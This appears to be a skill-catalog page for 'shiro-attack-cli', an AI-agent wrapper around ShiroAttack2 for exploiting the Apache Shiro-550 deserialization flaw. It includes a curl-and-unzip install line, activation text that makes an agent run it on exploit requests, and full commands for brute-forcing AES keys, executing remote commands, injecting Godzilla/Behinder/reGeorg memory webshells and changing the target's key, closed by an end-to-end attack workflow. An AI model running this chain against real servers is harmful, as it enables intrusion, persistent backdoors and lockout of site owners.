SH

shiro-attack-cli

Toolkit for testing and identifying Apache Shiro rememberMe deserialization vulnerabilities. Automates detection and exploit steps.

Install

mkdir -p .claude/skills/shiro-attack-cli && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/11210" && unzip -o skill.zip -d .claude/skills/shiro-attack-cli && rm skill.zip

Installs to .claude/skills/shiro-attack-cli

Activation

This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.

当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro 漏洞"。覆盖单目标探测、密钥爆破、Gadget 链自动检测、命令执行、内存马注入和 Key 修改。
228 charsno explicit “when” trigger
Advanced

Key capabilities

  • Detect Apache Shiro framework presence
  • Brute-force or verify Shiro AES keys
  • Execute system commands via gadget chains
  • Inject memory shells for testing
  • Modify target Shiro keys

How it works

The tool interacts with the rememberMe cookie mechanism to detect vulnerabilities, brute-force keys, and execute payloads via deserialization gadget chains.

Inputs & outputs

You give it
Target URL and Shiro AES key
You get back
Execution results or memory shell injection status

When to use shiro-attack-cli

  • Detect Shiro vulnerability
  • Brute force Shiro key
  • Execute commands via Shiro-550
  • Test for memory shell injection

About this skill

ShiroAttack2 CLI

Shiro-550 漏洞利用命令行工具,从 fat JAR 直接运行,无需 GUI。

启动方式

JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
java -cp $JAR $CP <命令> [选项]

准备工作

下载 JAR

如果本地没有 jar,从 GitHub Releases 下载:

# 查看最新版本
curl -s https://api.github.com/repos/SummerSec/ShiroAttack2/releases/latest \
  | grep browser_download_url | grep all.jar | cut -d '"' -f 4

# 或用浏览器打开 https://github.com/SummerSec/ShiroAttack2/releases
# 下载 shiro_attack-*-all.jar 即可

准备 Key 字典

crack 命令需要 data/shiro_keys.txt。如果文件不存在,从 GitHub 下载:

mkdir -p data
curl -L -o data/shiro_keys.txt \
  https://raw.githubusercontent.com/SummerSec/ShiroAttack2/master/data/shiro_keys.txt

data/ 目录需放在运行 jar 的工作目录下。

命令

detect — 探测 Shiro

java -cp $JAR $CP detect -u <url> [-k <关键词>] [--cbc|--gcm] [--proxy <url>] [--timeout <秒>]

成功输出:[++] 存在shiro框架!

crack — 爆破/验证 Key

# 字典爆破(工作目录需有 data/shiro_keys.txt)
java -cp $JAR $CP crack -u <url> [--cbc|--gcm]

# 验证指定 Key
java -cp $JAR $CP crack -u <url> -K <base64_key> [--cbc|--gcm]

exec — 执行系统命令

java -cp $JAR $CP exec -u <url> -K <base64_key> -c <命令> [--cbc|--gcm] [-g <gadget>] [-e <回显>] [--json]
  • -K : Shiro AES Key (Base64)。必需。
  • -c : 要执行的系统命令。必需。
  • -g : Gadget 链类名。省略则自动探测(优先无 commons-collections 依赖的变体)。
  • -e : 回显类型:AllEcho(默认)、TomcatEchoSpringEcho

memshell — 注入内存马

java -cp $JAR $CP memshell -u <url> -K <base64_key> -t <类型> [--pass <密码>] [--path <路径>] [--cbc|--gcm]
  • -t : 内存马类型。必需。可选:哥斯拉[Filter]哥斯拉[Servlet]冰蝎[Filter]冰蝎[Servlet]蚁剑[Filter]蚁剑[Servlet]NeoreGeorg[Filter]NeoreGeorg[Servlet]reGeorg[Filter]reGeorg[Servlet]
  • --pass : 内存马连接密码,默认 passwd
  • --path : 内存马 URL 路径,默认 /favicon.ico

changekey — 修改目标 Shiro Key

java -cp $JAR $CP changekey -u <url> -K <当前key> --newkey <新key> [--variant <变体>] [--cbc|--gcm]
  • --newkey : 新的 Shiro AES Key (Base64)。必需。
  • --variant : 注入路径变体,默认 filterConfigs -> shiroFilterFactoryBean。可选:filterConfigs -> shiroFilterFactoryBeangetFilterRegistration -> shiroFilterFactoryBeanfilterConfigs -> 常见 Shiro 名依次匹配getFilterRegistration -> 常见 Shiro 名依次匹配filterConfigs -> 包含 shiro 的名称扫描高风险: 全候选 rememberMeManager 扫描

gui — 启动图形界面

java -cp $JAR $CP gui

AES 模式

Shiro 版本选项
≤ 1.2.4--cbc
≥ 1.2.5--gcm

JSON 输出

使用 --json 时日志行输出为结构化 JSON,命令执行结果仍以原始文本打印。

{"level":"info","msg":"[++] 存在shiro框架!"}
{"level":"success","msg":"[++] 找到key:kPH+bIxk5D2deZiIxcaaaA=="}
{"level":"info","msg":"[++] 发现构造链:CommonsBeanutilsString_183  回显方式: AllEcho"}

常见错误

  • [-] 响应含 rememberMe=deleteMe : Key 正确但反序列化失败,尝试更换 Gadget/回显组合或检查 AES 模式
  • [-] 未发现shiro框架 : 目标无 Shiro 或 Cookie 关键词不匹配,尝试 -k 修改关键词
  • [-] 测试:xxx -> 响应含 rememberMe=deleteMe : 该组合未命中,自动探测继续
  • [-] 利用链与回显全部测试完毕,未发现可用组合 : 所有链均失败,目标可能缺少必需依赖

完整流程示例

JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
T="http://192.168.1.100:8080"

# 1. 探测 Shiro
java -cp $JAR $CP detect -u $T --cbc

# 2. 爆破 Key
java -cp $JAR $CP crack -u $T --cbc

# 3. 执行命令
java -cp $JAR $CP exec -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami" --cbc

# 4. 注入内存马
java -cp $JAR $CP memshell -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -t 哥斯拉[Filter] --pass mypass

# 5. 修改 Shiro Key
java -cp $JAR $CP changekey -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" --newkey "FcoRsBKe9XB3zOHbxTG0Lw=="

When not to use it

  • When targeting applications not using Apache Shiro
  • When unauthorized to perform security testing

Prerequisites

Java runtimeshiro_attack-5.1.1-all.jarshiro_keys.txt dictionary

Limitations

  • Requires valid Shiro AES key for command execution
  • Vulnerability detection depends on matching specific cookie keywords

How it compares

This CLI tool automates the entire exploitation chain from detection to memory shell injection, replacing manual cookie manipulation and gadget crafting.

Compared to similar skills

shiro-attack-cli side by side with the closest alternatives in the catalog.

SkillInstallsUpdatedSafetyDifficulty
shiro-attack-cli (this skill)02moReviewAdvanced
springboot-verification44moReviewIntermediate
springboot-security55moNo flagsIntermediate
deserialization-testing27moReviewAdvanced

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